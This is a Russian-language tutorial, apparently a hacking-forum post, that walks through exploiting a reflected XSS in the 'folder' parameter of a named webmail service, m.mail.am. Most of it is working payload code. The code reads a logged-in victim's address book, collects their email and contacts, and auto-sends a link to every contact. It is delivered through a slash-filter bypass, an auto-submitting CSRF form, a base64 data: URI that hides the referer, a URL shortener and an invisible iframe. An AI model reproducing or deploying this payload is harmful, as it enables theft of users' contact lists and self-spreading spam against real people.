Большинство людей применяют XSS только для того, чтобы получить чужие куки и использовать их в своих целях. Но даже если использовать чужие куки невозможно (например, из-за привязки к IP), из XSS можно выжать еще многое. В этом примере я покажу, как через пассивную XSS узнать мыло авторизованного пользователя mail.am, получить его контакт-лист и разослать по контакт-листу ссылку на свой сайт. 1) Пассивная XSS на сайте http://m.mail.am/mail/reademail.php?id=x&folder=x Уязвимый параметр - folder. Фильтруется слэш. Запрос можно передавать через POST 2) Внедряемый JS-код PHP: slash = String.fromCharCode(47); // переменная для обхода фильтрации слэша xmlhttp = new XMLHttpRequest; xmlhttp.open('GET', 'http:' + slash + slash + 'm.mail.am' + slash + 'mail' + slash + 'abook.php?func=open', false); xmlhttp.send(null); // запрос для получения страницы адресной книги newBody = document.createElement('body'); newBody.innerHTML = xmlhttp.responseText; myEmail = newBody.getElementsByTagName('title')[0].innerHTML.split(' - ')[1]; // получение мыла пользователя со страницы ("<title>Mail.AM - [email protected] - {Address book}</title>") email = ''; inputList = newBody.getElementsByTagName('input'); for(i = 0; i < inputList.length; i++) // цикл сбора всех адресов из КЛ { if(inputList[i].name == 'To') { email += inputList[i].value + ','; } } alert(myEmail + ':' + email); // алерт для примера. вместо него можно использовать отправку данных на гейт function addInput(inpParent, inpName, inpValue) // функция добавления полей на форму { var newInput = document.createElement('input'); newInput.type = 'hidden'; newInput.name = inpName; newInput.value = inpValue; inpParent.appendChild(newInput); } var newForm = document.createElement('form'); // создание формы newForm.method = 'POST'; newForm.action = 'http:' + slash + slash +'m.mail.am' + slash + 'mail' + slash + 'sendmail.php'; document.getElementsByTagName('body')[0].appendChild(newForm); // добавление полей. addInput(newForm, 'emailmessage', 'http:' + slash + slash + 'mysite.com'); addInput(newForm, 'emailfrom', myEmail); addInput(newForm, 'emailto', email); addInput(newForm, 'emailsubject', 'hello'); newForm.submit(); // отправка письма Убираем лишние пробелы и сокращаем имена переменных. Из-за фильтрации использовать тег script нельзя. Скрипт будет запускаться через событие onload тега body. Окончательный вариант внедряемого кода: PHP: <body onload="s=String.fromCharCode(47);x=new XMLHttpRequest;x.open('GET','http:'+s+s+'m.mail.am'+s+'mail'+s+'abook.php?func=open',false);x.send(null);b=document.createElement('body');b.innerHTML=x.responseText;il=b.getElementsByTagName('input');em=b.getElementsByTagName('title')[0].innerHTML.split(' - ')[1];e='';for(i=0;i<il.length;i++){if(il[i].name=='To'){e+=il[i].value+',';}}alert(em+':'+e);function a(p,n,v){i=document.createElement('input');i.type='hidden';i.name=n;i.value=v;p.appendChild(i);}f=document.createElement('form');f.method='POST';f.action='http:'+s+s+'m.mail.am'+s+'mail'+s+'sendmail.php';document.getElementsByTagName('body')[0].appendChild(f);a(f,'emailmessage','http:'+s+s+'mysite.com');a(f,'emailfrom',em);a(f,'emailto',e);a(f,'emailsubject','hello');f.submit();"> Форма автоматической отправки POST-запроса на mail.am со своего сайта: PHP: <body onload="document.getElementById('x').submit();"> <form id='x' action="http://m.mail.am/mail/reademail.php" method="post"> <input type="text" name="id" value="x"> <input type="text" name="folder" value="<body onload="s=String.fromCharCode(47);x=new XMLHttpRequest;x.open('GET','http:'%2bs%2bs%2b'm.mail.am'%2bs%2b'mail'%2bs%2b'abook.php?func=open',false);x.send(null);b=document.createElement('body');b.innerHTML=x.responseText;il=b.getElementsByTagName('input');em=b.getElementsByTagName('title')[0].innerHTML.split(' - ')[1];e='';for(i=0;i<il.length;i%2b%2b){if(il[i].name=='To'){e%2b=il[i].value%2b',';}}alert(em%2b':'%2be);function a(p,n,v){i=document.createElement('input');i.type='hidden';i.name=n;i.value=v;p.appendChild(i);}f=document.createElement('form');f.method='POST';f.action='http:'%2bs%2bs%2b'm.mail.am'%2bs%2b'mail'%2bs%2b'sendmail.php';document.getElementsByTagName('body')[0].appendChild(f);a(f,'emailmessage','http:'%2bs%2bs%2b'mysite.com');a(f,'emailfrom',em);a(f,'emailto',e);a(f,'emailsubject','hello');f.submit();">"> <input type="submit"> </form> </body> Чтобы скрыть реферер при отправке POST-запроса, используется протокол data: PHP: data:text/html;base64,PGJvZHkgb25sb2FkPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgneCcpLnN1Ym1pdCgpOyI%2bPGZvcm0gaWQ9J3gnIGFjdGlvbj0iaHR0cDovL20ubWFpbC5hbS9tYWlsL3JlYWRlbWFpbC5waHAiIG1ldGhvZD0icG9zdCI%2bPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImlkIiB2YWx1ZT0ieCI%2bPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZvbGRlciIgdmFsdWU9Ijxib2R5IG9ubG9hZD0mcXVvdDtzPVN0cmluZy5mcm9tQ2hhckNvZGUoNDcpO3g9bmV3IFhNTEh0dHBSZXF1ZXN0O3gub3BlbignR0VUJywnaHR0cDonJTJicyUyYnMlMmInbS5tYWlsLmFtJyUyYnMlMmInbWFpbCclMmJzJTJiJ2Fib29rLnBocD9mdW5jPW9wZW4nLGZhbHNlKTt4LnNlbmQobnVsbCk7Yj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdib2R5Jyk7Yi5pbm5lckhUTUw9eC5yZXNwb25zZVRleHQ7aWw9Yi5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaW5wdXQnKTtlbT1iLmdldEVsZW1lbnRzQnlUYWdOYW1lKCd0aXRsZScpWzBdLmlubmVySFRNTC5zcGxpdCgnIC0gJylbMV07ZT0nJztmb3IoaT0wO2k8aWwubGVuZ3RoO2klMmIlMmIpe2lmKGlsW2ldLm5hbWU9PSdUbycpe2UlMmI9aWxbaV0udmFsdWUlMmInLCc7fX1hbGVydChlbSUyYic6JyUyYmUpO2Z1bmN0aW9uIGEocCxuLHYpe2k9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaW5wdXQnKTtpLnR5cGU9J2hpZGRlbic7aS5uYW1lPW47aS52YWx1ZT12O3AuYXBwZW5kQ2hpbGQoaSk7fWY9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZm9ybScpO2YubWV0aG9kPSdQT1NUJztmLmFjdGlvbj0naHR0cDonJTJicyUyYnMlMmInbS5tYWlsLmFtJyUyYnMlMmInbWFpbCclMmJzJTJiJ3NlbmRtYWlsLnBocCc7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2JvZHknKVswXS5hcHBlbmRDaGlsZChmKTthKGYsJ2VtYWlsbWVzc2FnZScsJ2h0dHA6JyUyYnMlMmJzJTJiJ215c2l0ZS5jb20nKTthKGYsJ2VtYWlsZnJvbScsZW0pO2EoZiwnZW1haWx0bycsZSk7YShmLCdlbWFpbHN1YmplY3QnLCdoZWxsbycpO2Yuc3VibWl0KCk7JnF1b3Q7PiI%2bPGlucHV0IHR5cGU9InN1Ym1pdCI%2bPC9mb3JtPjwvYm9keT4= Полученую ссылку можно уменьшить через любой сервсис сокращения, например tinyurl.com: PHP: http://tinyurl.com/mailamtest Добавляем скрытый фрейм на свой сайт: PHP: <iframe style="width:0px;height:0px;visibility:hidden" src="http://tinyurl.com/mailamtest"> Теперь любой авторизованный пользователь mail.am, заходящий на сайт, незаметно будет отправлять по своему КЛ нужное сообщение. P.S.: Пример не работает: в IE<8 из-за отсутствия поддержки протокола data в IE>=8 и хроме из-за XSS-фильтров